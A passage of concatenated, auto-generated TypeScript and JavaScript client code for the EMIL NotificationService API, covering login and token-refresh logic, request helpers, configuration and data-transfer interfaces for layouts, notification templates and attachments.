console.info("No credentials found in credentials file or environment variables. Either provide some or use \n authorize() function.");
}
return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.readConfigFile = function () {
return __awaiter(this, void 0, void 0, function () {
var file, lines;
var _this = this;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, fs.promises.readFile(filePath, 'utf-8')];
case 1:
file = _a.sent();
lines = file.split(os.EOL)
.filter(Boolean);
lines.forEach(function (line) {
if (line.startsWith(KEY_USERNAME)) {
_this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : '';
}
else if (line.startsWith(KEY_PASSWORD)) {
_this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : '';
}
});
return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.readEnvVariables = function () {
if (process.env.EMIL_USERNAME) {
this.username = process.env.EMIL_USERNAME;
this.password = process.env.EMIL_PASSWORD || '';
return true;
}
return false;
};
BaseAPI.prototype.selectEnvironment = function (env) {
this.configuration.basePath = env;
};
BaseAPI.prototype.authorize = function (username, password, targetWorkspace) {
return __awaiter(this, void 0, void 0, function () {
var options, response, accessToken, refreshToken;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
options = {
method: 'POST',
url: "".concat(this.configuration.basePath, "/authservice/v1/login"),
headers: { 'Content-Type': 'application/json' },
data: {
username: username,
password: password,
},
withCredentials: true,
};
return [4 /*yield*/, axios_1.default.request(options)];
case 1:
response = _a.sent();
accessToken = response.data.accessToken;
this.configuration.username = username;
this.configuration.accessToken = "Bearer ".concat(accessToken);
refreshToken = this.extractRefreshToken(response);
this.configuration.refreshToken = refreshToken;
if (!targetWorkspace) return [3 /*break*/, 3];
return [4 /*yield*/, this.switchWorkspace(targetWorkspace)];
case 2:
_a.sent();
_a.label = 3;
case 3: return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.switchWorkspace = function (targetWorkspace) {
return __awaiter(this, void 0, void 0, function () {
var options, response, accessToken, refreshToken;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
options = {
method: 'POST',
url: "".concat(this.configuration.basePath, "/authservice/v1/workspaces/switch"),
headers: {
'Content-Type': 'application/json',
'Authorization': "Bearer ".concat(this.configuration.accessToken),
'Cookie': this.configuration.refreshToken,
},
data: {
username: this.configuration.username,
targetWorkspace: targetWorkspace,
},
withCredentials: true,
};
return [4 /*yield*/, axios_1.default.request(options)];
case 1:
response = _a.sent();
accessToken = response.data.accessToken;
this.configuration.accessToken = "Bearer ".concat(accessToken);
refreshToken = this.extractRefreshToken(response);
if (refreshToken) {
this.configuration.refreshToken = refreshToken;
}
return [2 /*return*/];
}
});
});
};
BaseAPI.prototype.refreshTokenInternal = function () {
return __awaiter(this, void 0, void 0, function () {
var _a, username, refreshToken, options, accessToken;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
_a = this.configuration, username = _a.username, refreshToken = _a.refreshToken;
if (!username || !refreshToken) {
return [2 /*return*/, ''];
}
options = {
method: 'POST',
url: "".concat(this.configuration.basePath, "/authservice/v1/refresh-token"),
headers: {
'Content-Type': 'application/json',
Cookie: refreshToken,
},
data: { username: username },
withCredentials: true,
};
return [4 /*yield*/, axios_1.default.request(options)];
case 1:
accessToken = (_b.sent()).data.accessToken;
return [2 /*return*/, accessToken];
}
});
});
};
BaseAPI.prototype.extractRefreshToken = function (response) {
if (response.headers && response.headers['set-cookie']
&& response.headers['set-cookie'].length > 0) {
return "".concat(response.headers['set-cookie'][0].split(';')[0], ";");
}
return '';
};
BaseAPI.prototype.getConfiguration = function () {
return this.configuration;
};
BaseAPI.prototype.attachInterceptor = function (axios) {
var _this = this;
axios.interceptors.response.use(function (res) {
return res;
}, function (err) { return __awaiter(_this, void 0, void 0, function () {
var originalConfig, tokenString, accessToken, _error_1, tokenString, accessToken, _error_2;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
originalConfig = err.config;
if (!err.response) return [3 /*break*/, 5];
if (!(err.response.status === 401 && !originalConfig._retry)) return [3 /*break*/, 4];
originalConfig._retry = true;
_a.label = 1;
case 1:
_a.trys.push([1, 3, , 4]);
return [4 /*yield*/, this.refreshTokenInternal()];
case 2:
tokenString = _a.sent();
accessToken = "Bearer ".concat(tokenString);
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return [2 /*return*/, axios.request(originalConfig)];
case 3:
_error_1 = _a.sent();
if (_error_1.response && _error_1.response.data) {
return [2 /*return*/, Promise.reject(_error_1.response.data)];
}
return [2 /*return*/, Promise.reject(_error_1)];
case 4:
if (err.response.status === 403 && err.response.data) {
return [2 /*return*/, Promise.reject(err.response.data)];
}
return [3 /*break*/, 9];
case 5:
if (!(err.message === NETWORK_ERROR_MESSAGE
&& err.isAxiosError
&& originalConfig.headers.hasOwnProperty('Authorization')
&& _retry_count < 4)) return [3 /*break*/, 9];
_retry_count++;
_a.label = 6;
case 6:
_a.trys.push([6, 8, , 9]);
return [4 /*yield*/, this.refreshTokenInternal()];
case 7:
tokenString = _a.sent();
accessToken = "Bearer ".concat(tokenString);
_retry = true;
originalConfig.headers['Authorization'] = accessToken;
this.configuration.accessToken = accessToken;
return [2 /*return*/, axios.request(__assign({}, originalConfig))];
case 8:
_error_2 = _a.sent();
if (_error_2.response && _error_2.response.data) {
return [2 /*return*/, Promise.reject(_error_2.response.data)];
}
return [2 /*return*/, Promise.reject(_error_2)];
case 9: return [2 /*return*/, Promise.reject(err)];
}
});
}); });
};
return BaseAPI;
}());
exports.BaseAPI = BaseAPI;
;
/**
*
* @export
* @class RequiredError
* @extends {Error}
*/
var RequiredError = /** @class */ (function (_super) {
__extends(RequiredError, _super);
function RequiredError(field, msg) {
var _this = _super.call(this, msg) || this;
_this.field = field;
_this.name = "RequiredError";
return _this;
}
return RequiredError;
}(Error));
exports.RequiredError = RequiredError;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { Configuration } from "./configuration";
import { RequestArgs } from "./base";
import { AxiosInstance, AxiosResponse } from 'axios';
import { URL } from 'url';
/**
*
* @export
*/
export declare const DUMMY_BASE_URL = "https://example.com";
/**
*
* @throws {RequiredError}
* @export
*/
export declare const assertParamExists: (functionName: string, paramName: string, paramValue: unknown) => void;
/**
*
* @export
*/
export declare const setApiKeyToObject: (object: any, keyParamName: string, configuration?: Configuration) => Promise<void>;
/**
*
* @export
*/
export declare const setBasicAuthToObject: (object: any, configuration?: Configuration) => void;
/**
*
* @export
*/
export declare const setBearerAuthToObject: (object: any, configuration?: Configuration) => Promise<void>;
/**
*
* @export
*/
export declare const setOAuthToObject: (object: any, name: string, scopes: string[], configuration?: Configuration) => Promise<void>;
/**
*
* @export
*/
export declare const setSearchParams: (url: URL, ...objects: any[]) => void;
/**
*
* @export
*/
export declare const serializeDataIfNeeded: (value: any, requestOptions: any, configuration?: Configuration) => any;
/**
*
* @export
*/
export declare const toPathString: (url: URL) => string;
/**
*
* @export
*/
export declare const createRequestFunction: (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) => <T = unknown, R = AxiosResponse<T, any, {}>>(axios?: AxiosInstance, basePath?: string) => Promise<R>;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface IStorageConverter<D, SD> {
toStorageData(data: D): SD;
fromStorageData(storageData: SD): D;
}
export interface IStorage {
get<T>(key: string, converter?: IStorageConverter<T, any>): T | null;
set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void;
}
export declare class LocalStorage implements IStorage {
readonly storage: Storage;
constructor();
get<T>(key: string, converter?: IStorageConverter<T, any>): T | null;
set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void;
}
export declare const defaultStorage: () => IStorage;
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.defaultStorage = exports.LocalStorage = exports.createRequestFunction = exports.toPathString = exports.serializeDataIfNeeded = exports.setSearchParams = exports.setOAuthToObject = exports.setBearerAuthToObject = exports.setBasicAuthToObject = exports.setApiKeyToObject = exports.assertParamExists = exports.DUMMY_BASE_URL = void 0;
var base_1 = require("./base");
var url_1 = require("url");
/**
*
* @export
*/
exports.DUMMY_BASE_URL = 'https://example.com';
/**
*
* @throws {RequiredError}
* @export
*/
var assertParamExists = function (functionName, paramName, paramValue) {
if (paramValue === null || paramValue === undefined) {
throw new base_1.RequiredError(paramName, "Required parameter ".concat(paramName, " was null or undefined when calling ").concat(functionName, "."));
}
};
exports.assertParamExists = assertParamExists;
/**
*
* @export
*/
var setApiKeyToObject = function (object, keyParamName, configuration) {
return __awaiter(this, void 0, void 0, function () {
var localVarApiKeyValue, _a;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
if (!(configuration && configuration.apiKey)) return [3 /*break*/, 5];
if (!(typeof configuration.apiKey === 'function')) return [3 /*break*/, 2];
return [4 /*yield*/, configuration.apiKey(keyParamName)];
case 1:
_a = _b.sent();
return [3 /*break*/, 4];
case 2: return [4 /*yield*/, configuration.apiKey];
case 3:
_a = _b.sent();
_b.label = 4;
case 4:
localVarApiKeyValue = _a;
object[keyParamName] = localVarApiKeyValue;
_b.label = 5;
case 5: return [2 /*return*/];
}
});
});
};
exports.setApiKeyToObject = setApiKeyToObject;
/**
*
* @export
*/
var setBasicAuthToObject = function (object, configuration) {
if (configuration && (configuration.username || configuration.password)) {
object["auth"] = { username: configuration.username, password: configuration.password };
}
};
exports.setBasicAuthToObject = setBasicAuthToObject;
/**
*
* @export
*/
var setBearerAuthToObject = function (object, configuration) {
return __awaiter(this, void 0, void 0, function () {
var accessToken, _a;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5];
if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2];
return [4 /*yield*/, configuration.accessToken()];
case 1:
_a = _b.sent();
return [3 /*break*/, 4];
case 2: return [4 /*yield*/, configuration.accessToken];
case 3:
_a = _b.sent();
_b.label = 4;
case 4:
accessToken = _a;
object["Authorization"] = configuration.getBearerToken(accessToken);
_b.label = 5;
case 5: return [2 /*return*/];
}
});
});
};
exports.setBearerAuthToObject = setBearerAuthToObject;
/**
*
* @export
*/
var setOAuthToObject = function (object, name, scopes, configuration) {
return __awaiter(this, void 0, void 0, function () {
var localVarAccessTokenValue, _a;
return __generator(this, function (_b) {
switch (_b.label) {
case 0:
if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5];
if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2];
return [4 /*yield*/, configuration.accessToken(name, scopes)];
case 1:
_a = _b.sent();
return [3 /*break*/, 4];
case 2: return [4 /*yield*/, configuration.accessToken];
case 3:
_a = _b.sent();
_b.label = 4;
case 4:
localVarAccessTokenValue = _a;
object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue);
_b.label = 5;
case 5: return [2 /*return*/];
}
});
});
};
exports.setOAuthToObject = setOAuthToObject;
/**
*
* @export
*/
var setSearchParams = function (url) {
var objects = [];
for (var _i = 1; _i < arguments.length; _i++) {
objects[_i - 1] = arguments[_i];
}
var searchParams = new url_1.URLSearchParams(url.search);
for (var _a = 0, objects_1 = objects; _a < objects_1.length; _a++) {
var object = objects_1[_a];
for (var key in object) {
if (Array.isArray(object[key])) {
searchParams.delete(key);
for (var _b = 0, _c = object[key]; _b < _c.length; _b++) {
var item = _c[_b];
searchParams.append(key, item);
}
}
else {
searchParams.set(key, object[key]);
}
}
}
url.search = searchParams.toString();
};
exports.setSearchParams = setSearchParams;
/**
*
* @export
*/
var serializeDataIfNeeded = function (value, requestOptions, configuration) {
var nonString = typeof value !== 'string';
var needsSerialization = nonString && configuration && configuration.isJsonMime
? configuration.isJsonMime(requestOptions.headers['Content-Type'])
: nonString;
return needsSerialization
? JSON.stringify(value !== undefined ? value : {})
: (value || "");
};
exports.serializeDataIfNeeded = serializeDataIfNeeded;
/**
*
* @export
*/
var toPathString = function (url) {
return url.pathname + url.search + url.hash;
};
exports.toPathString = toPathString;
/**
*
* @export
*/
var createRequestFunction = function (axiosArgs, globalAxios, BASE_PATH, configuration) {
return function (axios, basePath) {
if (axios === void 0) { axios = globalAxios; }
if (basePath === void 0) { basePath = BASE_PATH; }
var axiosRequestArgs = __assign(__assign({}, axiosArgs.options), { url: ((configuration === null || configuration === void 0 ? void 0 : configuration.basePath) || basePath) + axiosArgs.url });
return axios.request(axiosRequestArgs);
};
};
exports.createRequestFunction = createRequestFunction;
var LocalStorage = /** @class */ (function () {
function LocalStorage() {
this.storage = localStorage;
}
LocalStorage.prototype.get = function (key, converter) {
var jsonValue = this.storage.getItem(key);
if (jsonValue === null) {
return null;
}
var value = JSON.parse(jsonValue);
if (converter !== undefined) {
return converter.fromStorageData(value);
}
else {
return value;
}
};
LocalStorage.prototype.set = function (key, value, converter) {
var valueToStore = value;
if (converter !== undefined) {
valueToStore = converter.toStorageData(value);
}
var jsonValue = JSON.stringify(valueToStore);
this.storage.setItem(key, jsonValue);
};
return LocalStorage;
}());
exports.LocalStorage = LocalStorage;
var _defaultStorage = null;
var defaultStorage = function () {
return _defaultStorage || (_defaultStorage = new LocalStorage());
};
exports.defaultStorage = defaultStorage;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export interface ConfigurationParameters {
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
username?: string;
password?: string;
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
basePath?: string;
baseOptions?: any;
formDataCtor?: new () => any;
}
export declare class Configuration {
/**
* parameter for apiKey security
* @param name security name
* @memberof Configuration
*/
apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>);
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
username?: string;
/**
* parameter for basic security
*
* @type {string}
* @memberof Configuration
*/
password?: string;
/**
* parameter for oauth2 security
* @param name security name
* @param scopes oauth2 scope
* @memberof Configuration
*/
accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>);
/**
* override base path
*
* @type {string}
* @memberof Configuration
*/
basePath?: string;
/**
* base options for axios calls
*
* @type {any}
* @memberof Configuration
*/
baseOptions?: any;
/**
* The FormData constructor that will be used to create multipart form data
* requests. You can inject this here so that execution environments that
* do not support the FormData class can still run the generated client.
*
* @type {new () => FormData}
*/
formDataCtor?: new () => any;
/**
* parameter for automatically refreshing access token for oauth2 security
*
* @type {string}
* @memberof Configuration
*/
refreshToken?: string;
constructor(param?: ConfigurationParameters);
/**
* Check if the given MIME is a JSON MIME.
* JSON MIME examples:
* application/json
* application/json; charset=UTF8
* APPLICATION/JSON
* application/vnd.company+json
* @param mime - MIME (Multipurpose Internet Mail Extensions)
* @return True if the given MIME is JSON, false otherwise.
*/
isJsonMime(mime: string): boolean;
/**
* Returns "Bearer" token.
* @param token - access token.
* @return Bearer token.
*/
getBearerToken(token?: string): string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.Configuration = void 0;
var Configuration = /** @class */ (function () {
function Configuration(param) {
if (param === void 0) { param = {}; }
this.apiKey = param.apiKey;
this.username = param.username;
this.password = param.password;
this.accessToken = param.accessToken;
this.basePath = param.basePath;
this.baseOptions = param.baseOptions;
this.formDataCtor = param.formDataCtor;
}
/**
* Check if the given MIME is a JSON MIME.
* JSON MIME examples:
* application/json
* application/json; charset=UTF8
* APPLICATION/JSON
* application/vnd.company+json
* @param mime - MIME (Multipurpose Internet Mail Extensions)
* @return True if the given MIME is JSON, false otherwise.
*/
Configuration.prototype.isJsonMime = function (mime) {
var jsonMime = new RegExp('^(application\/json|[^;/ \t]+\/[^;/ \t]+[+]json)[ \t]*(;.*)?$', 'i');
return mime !== null && (jsonMime.test(mime) || mime.toLowerCase() === 'application/json-patch+json');
};
/**
* Returns "Bearer" token.
* @param token - access token.
* @return Bearer token.
*/
Configuration.prototype.getBearerToken = function (token) {
return ('' + token).startsWith("Bearer") ? token : "Bearer " + token;
};
return Configuration;
}());
exports.Configuration = Configuration;
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export { Environment, BaseAPI } from "./base";
export * from "./api";
export * from "./configuration";
export * from "./models";
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.BaseAPI = exports.Environment = void 0;
var base_1 = require("./base");
Object.defineProperty(exports, "Environment", { enumerable: true, get: function () { return base_1.Environment; } });
Object.defineProperty(exports, "BaseAPI", { enumerable: true, get: function () { return base_1.BaseAPI; } });
__exportStar(require("./api"), exports);
__exportStar(require("./configuration"), exports);
__exportStar(require("./models"), exports);
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CompleteEmailVerificationDto
*/
export interface CompleteEmailVerificationDto {
/**
* User email
* @type {string}
* @memberof CompleteEmailVerificationDto
*/
'email': string;
/**
* Confirmation token
* @type {string}
* @memberof CompleteEmailVerificationDto
*/
'token': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CompleteEmailVerificationResponseClass
*/
export interface CompleteEmailVerificationResponseClass {
/**
* Complete verification result
* @type {boolean}
* @memberof CompleteEmailVerificationResponseClass
*/
'result': boolean;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CreateLayoutRequestDto
*/
export interface CreateLayoutRequestDto {
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'name': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'slug': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'headerTemplate': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'footerTemplate': string;
/**
*
* @type {string}
* @memberof CreateLayoutRequestDto
*/
'style': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { LayoutClass } from './layout-class';
/**
*
* @export
* @interface CreateLayoutResponseClass
*/
export interface CreateLayoutResponseClass {
/**
* Layout
* @type {LayoutClass}
* @memberof CreateLayoutResponseClass
*/
'layout': LayoutClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CreateNotificationTemplateRequestDto
*/
export interface CreateNotificationTemplateRequestDto {
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'name': string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'slug': string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'bodyTemplate': string;
/**
*
* @type {number}
* @memberof CreateNotificationTemplateRequestDto
*/
'layoutId': number;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailTo'?: string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailCc'?: string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailBcc'?: string;
/**
*
* @type {string}
* @memberof CreateNotificationTemplateRequestDto
*/
'defaultEmailSubject'?: string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { NotificationTemplateClass } from './notification-template-class';
/**
*
* @export
* @interface CreateNotificationTemplateResponseClass
*/
export interface CreateNotificationTemplateResponseClass {
/**
* Template
* @type {NotificationTemplateClass}
* @memberof CreateNotificationTemplateResponseClass
*/
'template': NotificationTemplateClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface DeleteLayoutRequestDto
*/
export interface DeleteLayoutRequestDto {
/**
* Layout id
* @type {number}
* @memberof DeleteLayoutRequestDto
*/
'id': number;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface DeleteNotificationTemplateRequestDto
*/
export interface DeleteNotificationTemplateRequestDto {
/**
*
* @type {number}
* @memberof DeleteNotificationTemplateRequestDto
*/
'id': number;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface DownloadAttachmentResponseClass
*/
export interface DownloadAttachmentResponseClass {
/**
* Presigned S3 URL for downloading the attachment
* @type {string}
* @memberof DownloadAttachmentResponseClass
*/
'url': string;
/**
* Original filename of the attachment
* @type {string}
* @memberof DownloadAttachmentResponseClass
*/
'filename': string;
/**
* MIME content type of the attachment
* @type {string}
* @memberof DownloadAttachmentResponseClass
*/
'contentType': string;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
